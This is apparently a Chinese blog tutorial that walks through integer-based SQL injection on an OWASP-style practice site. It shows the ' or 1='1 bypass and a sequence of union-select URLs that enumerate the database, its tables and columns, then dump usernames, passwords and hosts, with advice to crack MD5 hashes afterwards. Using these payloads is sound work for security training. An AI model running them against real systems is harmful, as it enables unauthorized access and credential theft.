SQL注入获取用户名密码练习(integer型注入)

万能密码 ' or 1='1

select name,pass from tbAdmin where name=‘admin’ and pass=‘123456’

select name,pass from tbAdmin where name=’’ or 1=‘1’ and pass=‘123456’
1=‘1’ 永远为真

 

这个也是OWASP放出来的一个web安全学习平台,PHP+MySQL,主要有SQL注入练习及简单绕过

地址:http://43.247.91.228:83/

1、找测试注入点

http://43.247.91.228:83/content-1/index.php?id=0

2、测试加 ' 号,页面返回错误(可能存在注入点)

SQL注入获取用户名密码练习(integer型注入)_第1张图片

3、确认是否存在注入点

http://43.247.91.228:83/content-1/index.php?id=0 and 1=1 页面返回正常

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 页面返回错误

证明存在注入点

4、查询当前表有多少列,用order by测试,切换数字,直到不出错为止,测试结果为

http://43.247.91.228:83/content-1/index.php?id=0  order by 8

5、测试哪列数据有回显(1,2,3列都可以显示)

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,2,3,4,5,6,7,8

SQL注入获取用户名密码练习(integer型注入)_第2张图片

5、查询数据库相关信息

查询当前用户权限 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,user(),3,4,5,6,7,8

SQL注入获取用户名密码练习(integer型注入)_第3张图片

查询当前数据库版本 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,version(),3,4,5,6,7,8

SQL注入获取用户名密码练习(integer型注入)_第4张图片

查询当前数据库名称  http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,database(),3,4,5,6,7,8

SQL注入获取用户名密码练习(integer型注入)_第5张图片

6、查询inject数据库里的表名(将表名'inject'进行ANSI编码结果为%27%69%6E%6A%65%63%74%27)表名为users

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27

注:这里可以使用 limit a,1 测试有多少个表,a表示表里的第几行(这里测试只有一个users表)

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27 limit 0,1 --

SQL注入获取用户名密码练习(integer型注入)_第6张图片

7、查询users表里的字段名(将表名'users'进行ANSI编码结果为%27%75%73%65%72%73%27)

users表的字段名分别为 idusers,name,email,password,ua,ref,host,lang

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....7,网址最后要加上注释符  --

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,column_name,3 ,4,5,6,7,8 from information_schema.columns where table_name = %27%75%73%65%72%73%27 limit 0,1--

SQL注入获取用户名密码练习(integer型注入)_第7张图片

8、查询字段里的内容

在这里已经知道当前数据库是inject,有users表,表里有 idusers,name,email,password,ua,ref,host,lang 8个字段,这时可以使用,1,2,3来显示需要查看的字段内容,这里演示,name,password,host

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select name, password,host,4,5,6,7,8 from users limit 0,1--

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....直到出错为止,就可以遍历出所有用户,网址最后要加上注释符  --

这里是密码是明码的用户

SQL注入获取用户名密码练习(integer型注入)_第8张图片

这里是密码是hash值的用户,登录MD5网站解密即可

SQL注入获取用户名密码练习(integer型注入)_第9张图片

解密结果

SQL注入获取用户名密码练习(integer型注入)_第10张图片

9、到这里找寻用户名,密码已经结束,找寻后台登录即可

 

 

 

你可能感兴趣的:(网络安全)